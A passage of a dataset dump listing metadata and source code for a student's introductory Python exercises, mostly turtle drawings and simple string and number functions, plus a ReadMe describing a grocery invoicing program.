\"9b070083d2ee80e992a55929b9a02ac177cf7db9\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 153,\n \"license_type\": \"no_license\",\n \"max_line_length\": 49,\n \"num_lines\": 9,\n \"path\": \"/Week 4 python/exercise 3.4.4.6.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"exammark= float(input(\\\"What is your exam mark?\\\"))\\n\\nif exammark >=75:\\n print(\\\"First\\\")\\n\\nif 70 <= exammark < 75:\\n print(\\\"Upper second\\\")\\n\\n#And so on...\"\n },\n {\n \"alpha_fraction\": 0.38297873735427856,\n \"alphanum_fraction\": 0.5106382966041565,\n \"avg_line_length\": 10.75,\n \"blob_id\": \"8218179d9cdeac85a3a5e6e128b5dde15e509be4\",\n \"content_id\": \"22f206ca4f3a5c68932c6eb4b3213303a08b61d2\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 47,\n \"license_type\": \"no_license\",\n \"max_line_length\": 18,\n \"num_lines\": 4,\n \"path\": \"/Week 4 python/exercise 3.4.4.3.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#b<=a\\n#b<a\\n#a<18 and day!=3\\n# a<18 and day ==3\\n\"\n },\n {\n \"alpha_fraction\": 0.5784313678741455,\n \"alphanum_fraction\": 0.6470588445663452,\n \"avg_line_length\": 24.75,\n \"blob_id\": \"cd99b1ce969c42bb7e1d818b212bd1b79d0ee08d\",\n \"content_id\": \"52f30c0be4b5b47a675c973253880e6e4f7943be\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 102,\n \"license_type\": \"no_license\",\n \"max_line_length\": 32,\n \"num_lines\": 4,\n \"path\": \"/Week 4 python/exercise 3.4.4.4.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# 1 equals, true\\n# 2 doest not equal, false\\n# 3 greater or equal than, false\\n# 4 (0,3) ; (4,+infinity)\"\n },\n {\n \"alpha_fraction\": 0.5924170613288879,\n \"alphanum_fraction\": 0.6303317546844482,\n \"avg_line_length\": 13.066666603088379,\n \"blob_id\": \"6fb0ce7bb589f23356529ac4ab94210bd0bee68a\",\n \"content_id\": \"6a1e907e04b7f581f8870dbbe82fd9a98a7f02a4\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 211,\n \"license_type\": \"no_license\",\n \"max_line_length\": 25,\n \"num_lines\": 15,\n \"path\": \"/Week 4 python/4.9.9.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import turtle\\n\\nwindow = turtle.Screen()\\n\\nt = turtle.Turtle()\\nt.pensize(3)\\n\\ndef draw_triangle(t, sz):\\n for _ in range(5):\\n t.forward(sz)\\n t.right(144)\\n\\ndraw_triangle(t,100)\\n\\nwindow.exitonclick()\\n\"\n },\n {\n \"alpha_fraction\": 0.5873016119003296,\n \"alphanum_fraction\": 0.5873016119003296,\n \"avg_line_length\": 22.625,\n \"blob_id\": \"4e4936b496c19679354eae3e24ce484602deb888\",\n \"content_id\": \"fe099b453ef8bf5fb4b39f44ae7fd1aa5660fa7c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 189,\n \"license_type\": \"no_license\",\n \"max_line_length\": 32,\n \"num_lines\": 8,\n \"path\": \"/Week_6_Python/Exercise_1/5.1.19.9.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def remove_letter(letter, word):\\n without_letter = \\\"\\\"\\n for c in word:\\n if c not in word:\\n without_letter += c\\n return without_letter\\n\\nremove_letter(\\\"a\\\", \\\"apple\\\")\\n\"\n },\n {\n \"alpha_fraction\": 0.641791045665741,\n \"alphanum_fraction\": 0.6686567068099976,\n \"avg_line_length\": 15,\n \"blob_id\": \"4533513a3c4eb11f2100f152757b50822fd9b5ab\",\n \"content_id\": \"011cbfb3996f92c111d1fea96f54d2baa47eed11\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 335,\n \"license_type\": \"no_license\",\n \"max_line_length\": 30,\n \"num_lines\": 21,\n \"path\": \"/Week 5 Python/4.9.5.2.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import turtle\\n\\nwindow = turtle.Screen()\\nwindow.bgcolor(\\\"lightgreen\\\")\\n\\ntess = turtle.Turtle()\\ntess.pensize(2)\\ntess.color(\\\"blue\\\")\\n\\ndef draw_square(animal, size):\\n animal.forward(size)\\n animal.right(90)\\n\\nsize = 2\\nfor _ in range(90):\\n tess.right(1)\\n draw_square(tess, size)\\n size += 4\\n tess.speed(0)\\n\\nwindow.exitonclick()\"\n },\n {\n \"alpha_fraction\": 0.625,\n \"alphanum_fraction\": 0.65625,\n \"avg_line_length\": 15.809523582458496,\n \"blob_id\": \"5980abd94b12b66b05dcce3cc436a52f947743c4\",\n \"content_id\": \"6dcef12526c23b32727245b324b79257b0c5db74\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 352,\n \"license_type\": \"no_license\",\n \"max_line_length\": 30,\n \"num_lines\": 21,\n \"path\": \"/Week 5 Python/4.9.4.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import turtle\\n\\nwindow = turtle.Screen()\\nwindow.bgcolor(\\\"lightgreen\\\")\\n\\ntess = turtle.Turtle()\\ntess.pensize(3)\\ntess.color(\\\"blue\\\")\\n\\ndef draw_square(animal, size):\\n for _ in range(4):\\n animal.forward(size)\\n animal.left(90)\\n\\nsize = 80\\nfor _ in range(20):\\n tess.right(18)\\n draw_square(tess,size)\\n tess.speed(0)\\n\\nwindow.exitonclick()\"\n },\n {\n \"alpha_fraction\": 0.5880149602890015,\n \"alphanum_fraction\": 0.6104868650436401,\n \"avg_line_length\": 16.866666793823242,\n \"blob_id\": \"61cff9694bc6aa3d1c8f9d0c1090614d05b8b069\",\n \"content_id\": \"be1ddcc19d6663b7d76e644972fbc9399ad4a456\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 267,\n \"license_type\": \"no_license\",\n \"max_line_length\": 42,\n \"num_lines\": 15,\n \"path\": \"/Week_6_Python/Exercise 3/5.3.23.1.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"start = 10\\nstop = 0\\nstep = -2\\n\\nif start > stop:\\n step < 0\\n lijst = list(range(start, stop, step))\\n print(lijst)\\nelse: print(\\\"not possible\\\")\\n\\nif stop > start:\\n step > 0\\n lijst = list(range(start, stop, step))\\n print(lijst)\\nelse: print(\\\"not possible\\\")\"\n },\n {\n \"alpha_fraction\": 0.6153846383094788,\n \"alphanum_fraction\": 0.6384615302085876,\n \"avg_line_length\": 15.3125,\n \"blob_id\": \"9fb4624711f3ce1334b44e58af4850c0386ed881\",\n \"content_id\": \"7607d5722feaebb22a4219ed5c3dbe06c11e8b4d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 260,\n \"license_type\": \"no_license\",\n \"max_line_length\": 32,\n \"num_lines\": 16,\n \"path\": \"/Week 5 Python/4.9.6.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import turtle\\n\\nwindow = turtle.Screen()\\nwindow.bgcolor(\\\"lightgreen\\\")\\n\\nt = turtle.Turtle()\\nt.pensize(3)\\nt.color(\\\"blue\\\")\\n\\ndef draw_equitriangle(t, n, sz):\\n for _ in range(n):\\n sz += 4\\n t.speed(0)\\ndraw_equitriangle(t, 80, 3)\\n\\nwindow.exitonclick()\"\n },\n {\n \"alpha_fraction\": 0.8044642806053162,\n \"alphanum_fraction\": 0.8053571581840515,\n \"avg_line_length\": 85.07691955566406,\n \"blob_id\": \"d33e762dc79056dff682ec7908fd4f20980444c0\",\n \"content_id\": \"92a4d3077312416f89fbed6b9851c8948f70a923\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Text\",\n \"length_bytes\": 2244,\n \"license_type\": \"no_license\",\n \"max_line_length\": 121,\n \"num_lines\": 26,\n \"path\": \"/Python_final_assessment/ReadMe.txt\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"The program we created allows companies to create an invoice for their customers. It makes this process really easy\\nand is very straightforward in its application.\\n\\nThe program is currently focused on a grocery store, but its use can easily be extended to any kind of business.\\nThe remainder of this text provides information on how the program should be used.\\n\\nThe first thing a company needs to consider before making use of the program is entering the different goods that they\\nsell and the according prices into a csv file. Our program is not limited to any number of goods so this does not\\nrestrict large businesses from adopting our program. Once the products and prices are inserted, one can press “1”\\nto start with the invoice-creating process.\\n\\nThe first step after launching the process is to check whether we are creating an invoice for an existing or for a\\nnew client. We filter this by looking at the name of the client. The existing client database is automatically opened\\nin order to take a look whether we face an existing client or not. In this phase, we assume for simplicity that there are\\nno clients with identical names. In the case of an existing client, the employee should insert the name as it is known\\nin our database and in that case the program retrieves the corresponding data on ZIP code and address from our database.\\nIf we are dealing with a new client, we ask this data regarding his address and save it for a possible next invoice.\\n\\nThe next step is to take the order of the client. The products are easily distinguished from each other after adding\\nproduct numbers for each different product. When arriving at this step, this product list is opened so that the employer\\ncan look for which product numbers belong to this invoice. First, the employer inserts how many different orders should\\nbe displayed on the invoice, and second he enters the quantities of each different product.\\n\\nAfter filling in the final product quantity, we show a preview of the invoice to the employee. It is important to take\\na close look at this invoice to correct whether everything on the invoice is right. When the employee approves the\\ninvoice, he presses \\\"1\\\", and from that moment the invoice is saved into the database.\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5694444179534912,\n \"alphanum_fraction\": 0.5833333134651184,\n \"avg_line_length\": 19.428571701049805,\n \"blob_id\": \"f40b58d68513dcbf34c33c4ce84fdbabbd54c4b2\",\n \"content_id\": \"236b99c123d30da4f38a4c24e9918e8b2341ed85\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 144,\n \"license_type\": \"no_license\",\n \"max_line_length\": 35,\n \"num_lines\": 7,\n \"path\": \"/Week 5 Python/4.9.7.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def sum_to(n):\\n result = (n * (n+1) /2)\\n return result\\n\\nanswer = int(input(\\\"What number?\\\"))\\nt = sum_to(answer)\\nprint(\\\"The answer is\\\", t)\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6233062148094177,\n \"alphanum_fraction\": 0.6260162591934204,\n \"avg_line_length\": 22.0625,\n \"blob_id\": \"31639f6244829d8883eaedd0da853c8ce500d70d\",\n \"content_id\": \"5b7eea61ed8e192fcbc1b6066735a4d49cdeed11\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 369,\n \"license_type\": \"no_license\",\n \"max_line_length\": 65,\n \"num_lines\": 16,\n \"path\": \"/Week 5 Python/4.9.8.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"start = input(\\\"Do you want to calculate the radius of a circle?\\\")\\n\\nif start == yes:\\n import math\\n\\n def area_of_circle(r):\\n result = (r ** 2 * math.pi)\\n return result\\n\\n\\n answer = int(input(\\\"What is the radius of your circle?\\\"))\\n calculation = area_of_circle(answer)\\n print(\\\"The area is\\\", calculation)\\n\\nelse:\\n print(\\\"Fijne dag verder dan)\\n\"\n },\n {\n \"alpha_fraction\": 0.6132075190544128,\n \"alphanum_fraction\": 0.6415094137191772,\n \"avg_line_length\": 15.789473533630371,\n \"blob_id\": \"4a33f58676248de868bebf459dfec4d1fa27444a\",\n \"content_id\": \"ad35f86f9f2877157ce3fae244d3a71f21340962\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 318,\n \"license_type\": \"no_license\",\n \"max_line_length\": 32,\n \"num_lines\": 19,\n \"path\": \"/Week 5 Python/Great drawing.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import turtle\\n\\nwindow = turtle.Screen()\\n\\ntess = turtle.Turtle()\\ntess.pensize(1)\\ntess.color(\\\"blue\\\")\\n\\ndef draw_square(animal, size):\\n for _ in range(4):\\n tess.forward(size)\\n tess.right(90)\\n\\nfor index in range(90):\\n draw_square(tess, index * 5)\\n tess.left(6)\\n tess.speed(7)\\n\\nwindow.exitonclick()\"\n },\n {\n \"alpha_fraction\": 0.71875,\n \"alphanum_fraction\": 0.731249988079071,\n \"avg_line_length\": 31.200000762939453,\n \"blob_id\": \"992a965c657af86b07c2391b861c6738a6f19a24\",\n \"content_id\": \"0cfa0d51b106399645f6ce7f1ae9886e2fc825ea\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 160,\n \"license_type\": \"no_license\",\n \"max_line_length\": 95,\n \"num_lines\": 5,\n \"path\": \"/Week_6_Python/Exercise 3/5.3.23.4.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"\\nTest 1 is false, in this case this and that are two different objects that have the same value.\\nTest 2 is true, this and that refer to the same object.\\n\\n\\\"\\\"\\\"\"\n },\n {\n \"alpha_fraction\": 0.5580110549926758,\n \"alphanum_fraction\": 0.6022099256515503,\n \"avg_line_length\": 13.520000457763672,\n \"blob_id\": \"243e012a113a1cb819054cbdc9b5f9011a87a90a\",\n \"content_id\": \"85c1d6a338dd1c14b53ccc911785c304bd613042\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 362,\n \"license_type\": \"no_license\",\n \"max_line_length\": 28,\n \"num_lines\": 25,\n \"path\": \"/Week 5 Python/4.9.10.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import turtle\\n\\nwindow = turtle.Screen()\\nwindow.bgcolor(\\\"lightgreen\\\")\\n\\nt = turtle.Turtle()\\nt.color(\\\"pink\\\")\\nt.pensize(3)\\n\\ndef draw_triangle(t, sz):\\n for _ in range(5):\\n t.forward(sz)\\n t.right(144)\\n\\nfor _ in range(5):\\n draw_triangle(t, 100)\\n t.penup()\\n t.forward(350)\\n t.right(144)\\n t.pendown()\\n t.speed(0)\\n\\n\\n\\nwindow.exitonclick()\"\n },\n {\n \"alpha_fraction\": 0.5229681730270386,\n \"alphanum_fraction\": 0.547703206539154,\n \"avg_line_length\": 16.625,\n \"blob_id\": \"fd28a28843d4fa3c5dc9f1c3dc9389428436cdfd\",\n \"content_id\": \"10d160eeccd11d0a60b02b4035bb24e0ea20f484\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 283,\n \"license_type\": \"no_license\",\n \"max_line_length\": 41,\n \"num_lines\": 16,\n \"path\": \"/Week 4 python/exercise 3.4.4.1.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"dag = int(input(\\\"Which day is it today\\\"))\\n\\nif dag == 0:\\n print(\\\"Sunday\\\")\\nif dag == 1:\\n print(\\\"Monday\\\")\\nif dag == 2:\\n print(\\\"Tuesday\\\")\\nif dag == 3:\\n print(\\\"Wednesday\\\")\\nif dag == 4:\\n print(\\\"Thursday\\\")\\nif dag == 5:\\n print(\\\"Friday\\\")\\nif dag == 6:\\n print(\\\"Saturday\\\")\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6299694180488586,\n \"alphanum_fraction\": 0.6544342637062073,\n \"avg_line_length\": 13.909090995788574,\n \"blob_id\": \"6afc82dabdd7c6b058ad0df0018be7051165ce72\",\n \"content_id\": \"a4c2f5d546f0d3d2726d92214aa6d5411cc64d47\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 327,\n \"license_type\": \"no_license\",\n \"max_line_length\": 30,\n \"num_lines\": 22,\n \"path\": \"/Week 5 Python/4.9.5.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import turtle\\n\\nwindow = turtle.Screen()\\nwindow.bgcolor(\\\"lightgreen\\\")\\n\\ntess = turtle.Turtle()\\ntess.pensize(3)\\ntess.color(\\\"blue\\\")\\n\\ndef draw_square(animal, size):\\n animal.forward(size)\\n animal.right(90)\\n\\n\\nsize = 2\\nfor _ in range(80):\\n draw_square(tess, size)\\n size += 4\\n tess.speed(0)\\n\\n\\nwindow.exitonclick()\"\n },\n {\n \"alpha_fraction\": 0.6795580387115479,\n \"alphanum_fraction\": 0.6850828528404236,\n \"avg_line_length\": 29.33333396911621,\n \"blob_id\": \"4d6d8145e2113fd7220fcd50d89fc658f2ce9ccd\",\n \"content_id\": \"cdcaa544b53b2fe55372f723c67301c3bcc95fbc\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 181,\n \"license_type\": \"no_license\",\n \"max_line_length\": 52,\n \"num_lines\": 6,\n \"path\": \"/Week_6_Python/Exercise_1/5.1.19.8.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def mirror(input):\\n mirror_string = input + input[::-1]\\n return mirror_string\\n\\ntext = input(\\\"What is the word you want to mirror?\\\")\\nprint(\\\"The word mirrored is\\\", mirror(text))\"\n },\n {\n \"alpha_fraction\": 0.6744186282157898,\n \"alphanum_fraction\": 0.680232584476471,\n \"avg_line_length\": 27.66666603088379,\n \"blob_id\": \"bdf3f8f83647303ea3e9feb1f41f28f1ae06c277\",\n \"content_id\": \"5dcb9127b46f4c0c56f3743f361d51a73b863600\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 172,\n \"license_type\": \"no_license\",\n \"max_line_length\": 53,\n \"num_lines\": 6,\n \"path\": \"/Week_6_Python/Exercise_1/5.1.19.7.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def reverse(input):\\n rev_string = input[::-1]\\n return rev_string\\n\\ntext = input(\\\"What is the word you want to reverse?\\\")\\nprint(\\\"The word backwards is\\\", reverse(text))\\n\"\n },\n {\n \"alpha_fraction\": 0.5968379378318787,\n \"alphanum_fraction\": 0.6205533742904663,\n \"avg_line_length\": 13.05555534362793,\n \"blob_id\": \"e0450c958dd7e19bdd0e62f7664644acf8a3f6f8\",\n \"content_id\": \"4f6557693b435778fc1b02e3b829c07171419645\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 253,\n \"license_type\": \"no_license\",\n \"max_line_length\": 28,\n \"num_lines\": 18,\n \"path\": \"/Week 5 Python/4.9.3.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import turtle\\n\\nwindow = turtle.Screen()\\nwindow.bgcolor(\\\"lightgreen\\\")\\n\\nt = turtle.Turtle()\\nt.pensize(3)\\nt.color(\\\"pink\\\")\\n\\ndef draw_poly(t, n, sz):\\n for _ in range(n):\\n t.forward(sz)\\n t.left(45)\\n\\ndraw_poly(t, 8, 50)\\n\\n\\nwindow.exitonclick()\\n\"\n },\n {\n \"alpha_fraction\": 0.6177285313606262,\n \"alphanum_fraction\": 0.6426593065261841,\n \"avg_line_length\": 17.100000381469727,\n \"blob_id\": \"3aae02df1b41de2fb4567b90ebd3a1a5aaf855b8\",\n \"content_id\": \"342fc6a59f57d761554d47077b77f3b1f82a691a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 361,\n \"license_type\": \"no_license\",\n \"max_line_length\": 30,\n \"num_lines\": 20,\n \"path\": \"/Week 5 Python/4.9.1.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import turtle\\n\\ndef draw_square(animal, size):\\n for _ in range(4):\\n animal.color('pink')\\n animal.forward(size)\\n animal.left(90)\\n animal.forward(size * 2)\\n\\nwindow = turtle.Screen()\\nwindow.bgcolor(\\\"lightgreen\\\")\\n\\ntess = turtle.Turtle()\\ntess.pensize(3)\\n\\nfor _ in range(5):\\n draw_square(ferdi, 20)\\n tess.speed(0)\\n\\nwindow.exitonclick()\"\n },\n {\n \"alpha_fraction\": 0.7770270109176636,\n \"alphanum_fraction\": 0.7770270109176636,\n \"avg_line_length\": 73.5,\n \"blob_id\": \"9d13cd468b27f5453f0278ba721de5dddf0469a0\",\n \"content_id\": \"065f57968c4123851a77b9a39de3dc8f439ee535\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 148,\n \"license_type\": \"no_license\",\n \"max_line_length\": 104,\n \"num_lines\": 2,\n \"path\": \"/Week_6_Python/Exercise 2/5.2.6.3.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"A pair is a kind of tuple. A tuple can consist of a pair of characteristics but also consist of three\\nor even more characteristics/data values\\\"\\\"\\\"\"\n },\n {\n \"alpha_fraction\": 0.6203866600990295,\n \"alphanum_fraction\": 0.6300527453422546,\n \"avg_line_length\": 28.736841201782227,\n \"blob_id\": \"32bb12a40d7121513b7a95938c24875302db6fc2\",\n \"content_id\": \"225844e00e84d7c94c501dd9488a1abeb91048a6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1138,\n \"license_type\": \"no_license\",\n \"max_line_length\": 96,\n \"num_lines\": 38,\n \"path\": \"/Week_6_Python/Exercise_4/alice_in_wonderland.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#retrieve the book\\nimport urllib.request\\n\\nurl = \\\"https://www.gutenberg.org/files/11/11-0.txt\\\"\\nfile_name = \\\"alice.txt\\\"\\nurllib.request.urlretrieve(url, file_name)\\n\\n\\n#read the book\\n\\nwith open(file_name) as alice_book:\\n alice_text = alice_book.read()\\n\\n#process the book\\nwords = alice_text.lower().split()\\nword_count = {}\\n\\nfor word in words:\\n word = word.strip(\\\"!\\\\\\\"#$%&\\\\'()*+,./:;<=>?@[\\\\\\\\]^_`{|}~\\\")\\n #Note that I removed the - sign since it is a single word in this case\\n if len(word) > 0 and word[0].isalpha(): #isalpha means whether it is in the alphabet\\n word_count[word] = word_count.get(word, 0) + 1\\n\\n#get the longest word\\nlongest_word = \\\"\\\"\\nfor word in word_count:\\n if len(word) > len(longest_word):\\n longest_word = word\\n\\n#print to output file\\nwith open(\\\"alice_words.txt\\\", \\\"w\\\") as alice_output:\\n string_format = \\\"{:<\\\" +str(len(longest_word)) + \\\"} {:<5}\\\\n\\\"\\n\\n alice_output.write(string_format.format(\\\"Word\\\", \\\"Count\\\"))\\n alice_output.write(\\\"=\\\" * (len(longest_word) + 6) + \\\"\\\\n\\\")\\n\\n for word in sorted(word_count):\\n alice_output.write(string_format.format(word, word_count[word]))\\n\\n\\n\\n\\n\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6727549433708191,\n \"alphanum_fraction\": 0.6803653240203857,\n \"avg_line_length\": 29.952381134033203,\n \"blob_id\": \"87183a68a1f798f2c609049aceb0fdeffdccf240\",\n \"content_id\": \"eb23966ab4912b82876f707d9c06938218be65eb\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 657,\n \"license_type\": \"no_license\",\n \"max_line_length\": 118,\n \"num_lines\": 21,\n \"path\": \"/Week_6_Python/Exercise_1/5.1.19.5.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"poem = \\\"\\\"\\\"Reinder Evert is a very good looking guy who is really attractive and also very smart. He is rarely seen \\noutside the house and therefore he has a lack of vitamin D\\\"\\\"\\\"\\n\\nlossewoorden = poem.split(\\\" \\\")\\n\\ndef count_words(text):\\n return len(lossewoorden)\\n\\ndef count_words_containing(text, letter):\\n count = 0\\n for word in lossewoorden:\\n if letter in word:\\n count += 1\\n return count\\n\\nletter = \\\"e\\\"\\ncount = count_words(poem)\\necount = count_words_containing(poem, letter)\\nepercentage = (ecount/count) *100\\n\\nprint(\\\"Your text containt {} words, of which {} contain an e, which is about {} %\\\".format(count, ecount, epercentage))\\n\\n\\n\\n\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5249999761581421,\n \"alphanum_fraction\": 0.5874999761581421,\n \"avg_line_length\": 20.133333206176758,\n \"blob_id\": \"eaaa9b2fc7f53337b7043b72159c2d4afb2c53f2\",\n \"content_id\": \"7726e34bdb6ee43eaf14718c52ad3c59d83cb299\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 320,\n \"license_type\": \"no_license\",\n \"max_line_length\": 40,\n \"num_lines\": 15,\n \"path\": \"/Week_6_Python/Exercise 3/5.3.23.7.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"def dot_product(vector1, vector2):\\n if len(vector1) != len(vector2):\\n return None\\n\\n vector3 = []\\n for v1, v2 in zip(vector1, vector2):\\n vector3.append(v1 * v2)\\n\\n sumvector = 0\\n for vector_3 in vector3:\\n sumvector += vector_3\\n\\n return sumvector\\n\\nprint(dot_product([2,2], [2,3]))\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5685279369354248,\n \"alphanum_fraction\": 0.6345177888870239,\n \"avg_line_length\": 32,\n \"blob_id\": \"de24cd9384c173bd94fcc79f6f678c4cfab6b9c3\",\n \"content_id\": \"79e62d42da517ac9742f86dea4214a604c7ce20a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 197,\n \"license_type\": \"no_license\",\n \"max_line_length\": 78,\n \"num_lines\": 6,\n \"path\": \"/Week_6_Python/Exercise 2/5.2.6.1.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"numbers_to_ten = (1, 2, 3, 4, 5, 6, 7, 8, 9, 10)\\nprint(numbers_to_ten[4])\\n\\nif numbers_to_ten == 7:\\n print(\\\"gelukt\\\")\\n\\\"\\\"\\\"Seems like it is not possible to use tuples as an argument in a function\\\"\\\"\\\"\"\n },\n {\n \"alpha_fraction\": 0.6268041133880615,\n \"alphanum_fraction\": 0.6412371397018433,\n \"avg_line_length\": 17.653846740722656,\n \"blob_id\": \"277ba4b670cbe2b83adfc3ab21f3c112f82ddce1\",\n \"content_id\": \"3664c108b3b7e5b99112f84bf530cc4b60ea99cc\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 485,\n \"license_type\": \"no_license\",\n \"max_line_length\": 45,\n \"num_lines\": 26,\n \"path\": \"/Week 4 python/Week 4.py\",\n \"repo_name\": \"wsnijder/PycharmProjects\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import turtle\\n\\ndef draw_square(animal, size):\\n \\\"\\\"\\\"\\n Draw a square\\n \\\"\\\"\\\"\\n for _ in range(4):\\n animal.forward(size)\\n animal.left(90)\\n\\n# non-fruitful function\\ndef calculate_surface_of_square(side_length):\\n surface = side_length ** 2\\n print(surface)\\n return surface\\n\\nscreen = turtle.Screen()\\nnick = turtle.Turtle()\\n\\nfor index in range(6):\\n draw_square(nick, index * 5)\\n nick.left(6)\\n\\n result = calculate_surface_of_square()\\n\\nscreen.exitonclick()\\n\"\n 